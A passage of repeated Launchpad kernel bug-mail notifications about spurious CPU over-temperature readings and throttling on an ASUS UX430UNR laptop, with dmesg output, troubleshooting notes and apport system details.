  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC0D7p:   burak  1547 F...m pulseaudio
   /dev/snd/controlC0:  burak  1547 F pulseaudio
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19
  HibernationDevice: RESUME=UUID=60a9fd7e-ec69-448a-b19a-93efaa6035ed
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 04f3:0903 Elan Microelectronics Corp. 
   Bus 001 Device 003: ID 8087:0a2b Intel Corp. 
   Bus 001 Device 002: ID 045e:07a5 Microsoft Corp. Wireless Receiver 1461C
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: ASUSTeK COMPUTER INC. UX430UNR
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux (not installed)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic 
root=UUID=692de7fe-530f-4849-89ec-a5b4413af7dc ro quiet splash 
intel_pstate=disable vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-24-generic N/A
   linux-backports-modules-4.15.0-24-generic  N/A
   linux-firmware 1.173.1
  Tags:  tara
  Uname: Linux 4.15.0-24-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 11/28/2017
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: UX430UNR.302
  

[Kernel-packages] [Bug 1781924] ProcInterrupts.txt

[benjamin button]

apport information

** Attachment added: "ProcInterrupts.txt"
   
https://bugs.launchpad.net/bugs/1781924/+attachment/5164246/+files/ProcInterrupts.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC0D7p:   burak  1547 F...m pulseaudio
   /dev/snd/controlC0:  burak  1547 F pulseaudio
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19
  HibernationDevice: RESUME=UUID=60a9fd7e-ec69-448a-b19a-93efaa6035ed
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 04f3:0903 Elan Microelectronics Corp. 
   Bus 001 Device 003: ID 8087:0a2b Intel Corp. 
   Bus 001 Device 002: ID 045e:07a5 Microsoft Corp. Wireless Receiver 1461C
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: ASUSTeK COMPUTER INC. UX430UNR
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux (not installed)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic 
root=UUID=692de7fe-530f-4849-89ec-a5b4413af7dc ro quiet splash 
intel_pstate=disable vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-24-generic N/A
   linux-backports-modules-4.15.0-24-generic  N/A
   linux-firmware 1.173.1
  Tags:  tara
  Uname: Linux 4.15.0-24-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 11/28/2017
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: UX430UNR.302
  

[Kernel-packages] [Bug 1781924] ProcEnviron.txt

[benjamin button]

apport information

** Attachment added: "ProcEnviron.txt"
   
https://bugs.launchpad.net/bugs/1781924/+attachment/5164245/+files/ProcEnviron.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC0D7p:   burak  1547 F...m pulseaudio
   /dev/snd/controlC0:  burak  1547 F pulseaudio
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19
  HibernationDevice: RESUME=UUID=60a9fd7e-ec69-448a-b19a-93efaa6035ed
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 04f3:0903 Elan Microelectronics Corp. 
   Bus 001 Device 003: ID 8087:0a2b Intel Corp. 
   Bus 001 Device 002: ID 045e:07a5 Microsoft Corp. Wireless Receiver 1461C
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: ASUSTeK COMPUTER INC. UX430UNR
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux (not installed)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic 
root=UUID=692de7fe-530f-4849-89ec-a5b4413af7dc ro quiet splash 
intel_pstate=disable vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-24-generic N/A
   linux-backports-modules-4.15.0-24-generic  N/A
   linux-firmware 1.173.1
  Tags:  tara
  Uname: Linux 4.15.0-24-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 11/28/2017
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: UX430UNR.302
  

[Kernel-packages] [Bug 1781924] RfKill.txt

[benjamin button]

apport information

** Attachment added: "RfKill.txt"
   https://bugs.launchpad.net/bugs/1781924/+attachment/5164249/+files/RfKill.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC0D7p:   burak  1547 F...m pulseaudio
   /dev/snd/controlC0:  burak  1547 F pulseaudio
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19
  HibernationDevice: RESUME=UUID=60a9fd7e-ec69-448a-b19a-93efaa6035ed
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 04f3:0903 Elan Microelectronics Corp. 
   Bus 001 Device 003: ID 8087:0a2b Intel Corp. 
   Bus 001 Device 002: ID 045e:07a5 Microsoft Corp. Wireless Receiver 1461C
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: ASUSTeK COMPUTER INC. UX430UNR
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux (not installed)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic 
root=UUID=692de7fe-530f-4849-89ec-a5b4413af7dc ro quiet splash 
intel_pstate=disable vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-24-generic N/A
   linux-backports-modules-4.15.0-24-generic  N/A
   linux-firmware 1.173.1
  Tags:  tara
  Uname: Linux 4.15.0-24-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 11/28/2017
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: UX430UNR.302
  

[Kernel-packages] [Bug 1781924] UdevDb.txt

[benjamin button]

apport information

** Attachment added: "UdevDb.txt"
   https://bugs.launchpad.net/bugs/1781924/+attachment/5164250/+files/UdevDb.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC0D7p:   burak  1547 F...m pulseaudio
   /dev/snd/controlC0:  burak  1547 F pulseaudio
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19
  HibernationDevice: RESUME=UUID=60a9fd7e-ec69-448a-b19a-93efaa6035ed
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 04f3:0903 Elan Microelectronics Corp. 
   Bus 001 Device 003: ID 8087:0a2b Intel Corp. 
   Bus 001 Device 002: ID 045e:07a5 Microsoft Corp. Wireless Receiver 1461C
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: ASUSTeK COMPUTER INC. UX430UNR
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux (not installed)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic 
root=UUID=692de7fe-530f-4849-89ec-a5b4413af7dc ro quiet splash 
intel_pstate=disable vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-24-generic N/A
   linux-backports-modules-4.15.0-24-generic  N/A
   linux-firmware 1.173.1
  Tags:  tara
  Uname: Linux 4.15.0-24-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 11/28/2017
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: UX430UNR.302
  

[Kernel-packages] [Bug 1781924] WifiSyslog.txt

[benjamin button]

apport information

** Attachment added: "WifiSyslog.txt"
   
https://bugs.launchpad.net/bugs/1781924/+attachment/5164251/+files/WifiSyslog.txt

** Changed in: linux (Ubuntu)
   Status: Incomplete => Confirmed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC0D7p:   burak  1547 F...m pulseaudio
   /dev/snd/controlC0:  burak  1547 F pulseaudio
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19
  HibernationDevice: RESUME=UUID=60a9fd7e-ec69-448a-b19a-93efaa6035ed
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 04f3:0903 Elan Microelectronics Corp. 
   Bus 001 Device 003: ID 8087:0a2b Intel Corp. 
   Bus 001 Device 002: ID 045e:07a5 Microsoft Corp. Wireless Receiver 1461C
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: ASUSTeK COMPUTER INC. UX430UNR
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux (not installed)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic 
root=UUID=692de7fe-530f-4849-89ec-a5b4413af7dc ro quiet splash 
intel_pstate=disable vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-24-generic N/A
   linux-backports-modules-4.15.0-24-generic  N/A
   linux-firmware 1.173.1
  Tags:  tara
  Uname: Linux 4.15.0-24-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 11/28/2017
  dmi.bios.vendor: 

[Kernel-packages] [Bug 1781924] ProcModules.txt

[benjamin button]

apport information

** Attachment added: "ProcModules.txt"
   
https://bugs.launchpad.net/bugs/1781924/+attachment/5164247/+files/ProcModules.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
